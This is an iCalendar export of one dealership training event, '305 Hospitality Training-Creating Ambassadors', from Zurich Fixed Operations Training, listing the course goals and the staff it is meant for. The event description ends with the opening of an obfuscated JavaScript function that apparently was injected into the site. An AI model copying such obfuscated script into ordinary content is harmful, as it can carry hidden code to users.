BEGIN:VCALENDAR
VERSION:2.0
METHOD:PUBLISH
CALSCALE:GREGORIAN
PRODID:-//WordPress - MECv7.24.0//EN
X-ORIGINAL-URL:https://fixedopstraining.zurichna.com/
X-WR-CALNAME:Zurich Fixed Operations Training
X-WR-CALDESC:Zurich Fixed Operations Dealership Training | Service Advisor Training
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-PUBLISHED-TTL:PT1H
X-MS-OLK-FORCEINSPECTOROPEN:TRUE
BEGIN:VEVENT
CLASS:PUBLIC
UID:MEC-eec15c43f6e3cf156e3649f930c89a14@fixedopstraining.zurichna.com
DTSTART:20260414T150000Z
DTEND:20260414T160000Z
DTSTAMP:20230309T052500Z
CREATED:20230309
LAST-MODIFIED:20260520
PRIORITY:5
SEQUENCE:4
TRANSP:OPAQUE
SUMMARY:305 Hospitality Training-Creating Ambassadors
DESCRIPTION:This course is required for SA Level 3 & Parts Associate Level 2 Certifications.\nThe purpose of this course is to open the minds of the associate to create customer ambassadors for your dealership or department.\nThe student will learn the following impact items…\n\nIdentify the characteristics of the top performing retail environments\nIdentify the characteristics of an underperforming organization\nIdentify the behaviors of high performing associates\nIdentify the behaviors of underperforming associates\nDevelop a plan of action to create ambassadors in your dealership\n\nThis class is designed for the following associates…Service Advisor, Service Manager, General Manager, Cashier, Valet, Technician, Parts Manager, Parts Associates (ALL ARE ENCOURAGED TO ATTEND) The goal is for the student to see an increase in Customer Engagement and improve CSI and Retention.\nTAKE QUIZ  REPLAYS\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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URL:https://fixedopstraining.zurichna.com/events/305-hospitality-training-creating-ambassadors/
CATEGORIES:All Courses,Parts Associates Level 2,Service Advisor Level 3
END:VEVENT
END:VCALENDAR